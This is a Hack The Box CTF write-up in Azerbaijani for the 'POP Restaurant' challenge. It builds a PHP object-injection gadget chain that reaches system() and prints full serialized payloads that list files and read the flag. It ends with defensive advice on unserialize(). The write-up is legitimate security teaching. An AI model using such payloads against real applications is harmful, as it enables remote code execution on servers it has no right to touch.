Bu məqalədə HTB (Hack The Box) POP Restaurant Challenge tapşırığını necə həll edəcəyimizi ətraflı izah edəcəyik. Məsələ, PHP Object Injection (POP) zafiyətindən istifadə edərək sistemdə kod icra etməyə əsaslanır.
İlkin kəşfiyyat
İlk addım olaraq, vebsaytı yoxlamağa başladım. Saytda qeydiyyat və giriş formaları var idi:
Saytda qeydiyyatdan keçdikdən sonra order.php səhifəsinə keçid əldə etdim.
Burada yemək sifarişi vermək mümkün idi.




Sifariş prosesi zamanı HTTP sorğusunu ələ keçirdim və ötürülən məlumatları analiz etməyə başladım.
Sorğunu araşdırarkən seriyalaşdırılmış bir obyekt aşkar etdim. Onu Base64 kodlamasından çıxartdıqda aşağıdakı nəticəni əldə etdim:
O:5:”Pizza”:3:{s:5:”price”;N;s:6:”cheese”;N;s:4:”size”;N;}
Bu məlumat PHP obyektinin seriyalaşdırılmış formasını göstərir. Gördüyümüz kimi, bu Pizza obyektinin üç xüsusiyyəti var: price, cheese və size. Lakin onların hamısı NULL (N) olaraq təyin edilib.
Bundan sonra, mənbə kodunu analiz edərək obyektlər arasındakı əlaqəni başa düşməyə çalışdım…
PHP Object Injection nədir?
PHP Object Injection, unserialize() funksiyasının istifadə edildiyi zaman zafiyyətə səbəb ola biləcək bir hücum növüdür. Əgər istifadəçi tərəfindən göndərilən məlumatı unserialize() funksiyasına ötürsək və bu məlumat zərərli obyektlər ehtiva edərsə, o zaman hücumçu serverdə istədiyi kodu icra edə bilər.
Verilən mənbə kodunun analizi
Bizə aşağıdakı dörd PHP sinfi verilib:
Pizza – __destruct() metodu size->what-ı çağırır.
Spaghetti – __get() metodu $this->sauce-u icra edir.
IceCream – __invoke() metodu $this->flavors-u iterasiya edib icra edir.
ArrayHelpers – current() metodu call_user_func($this->callback, $value) vasitəsilə PHP sistem funksiyalarını çağırmağa imkan yaradır.
Kod analiz etdikdə görürük ki, bu siniflər birlikdə təhlükəli bir POP (Property Oriented Programming) chain yarada bilər.
Hücum Zəncirinin Qurulması
Məqsədimiz PHP-nin system() funksiyasını çağıraraq əmrləri icra etməkdir. Bunu əldə etmək üçün obyektlər arasında bir əlaqə qurmalıyıq:
1. ArrayHelpers Sinfi ilə system() Çağırmaq
$ArrayHelpers = new ArrayHelpers(['ls']); $ArrayHelpers->callback = 'system';
Burada system("ls") əmri çağırılacaq.
2. IceCream Sinfi ilə Tətikləmək
$IceCream = new IceCream(); $IceCream->flavors = $ArrayHelpers;
IceCream sinfi $this->flavors-u iterasiya edərək icra edəcək.
3. Spaghetti Sinfi ilə Get Methodunu Çağırmaq
$Spaghetti = new Spaghetti(); $Spaghetti->sauce = $IceCream;
Spaghetti sinfi __get() metodundan istifadə edərək sauce-u icra edəcək.
4. Pizza Sinfi ilə Destruct Çağırmaq
$Pizza = new Pizza(); $Pizza->size = $Spaghetti;
Pizza sinfi __destruct() metodunu çağırdıqda zəncir tamamlanacaq.
Final Eksploit
Bütün obyektlər yaradıldıqdan sonra bu obyektləri serializasiya edirik:
$exploit = serialize($Pizza); echo $exploit;
Bu serialized stringi zafiyyətli unserialize() funksiyasına göndərsək, sistem system("ls") əmri icra edəcək və serverdəki faylları göstərəcək.
Bayrağı Əldə Etmək
Əgər serverdə flag faylı mövcuddursa, aşağıdakı əmri icra edərək bayrağı əldə edə bilərik:
$ArrayHelpers = new ArrayHelpers(['cat /pBhfMBQlu9uT_flag.txt']); $ArrayHelpers->callback = 'system';
Bununla system("cat /pBhfMBQlu9uT_flag.txt") işləyəcək və bayraq terminalda görünəcək. 🎉
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:3:"dir";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:26:"cat /pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}

Təhlükəsizlik və Qorunma Yolları
Bu cür hücumların qarşısını almaq üçün:
unserialize() funksiyasını birbaşa istifadə etməyin! Bunun əvəzinə json_encode() və json_decode() istifadə edin.
unserialize() istifadə etməlisinizsə, allowed_classes-ı false edin:
- unserialize($data, ['allowed_classes' => false]);
Kodlarınızdakı metodları (__wakeup(), __destruct(), __get(), __invoke()) nəzərdən keçirin və təhlükəsizliyinizi təmin edin.
Nəticə
Beləliklə, POP Restaurant Challenge tapşırığını həll etdik! Bu hücum metodları real dünyada PHP tətbiqlərində hələ də rast gəlinir və təhlükəli ola bilər. Gələcəkdə daha mürəkkəb zafiyyətlər üzərində çalışaraq bu bilikləri dərinləşdirə bilərik.
Nəhayət, bayrağı tutana kimi davam! 🚀🎯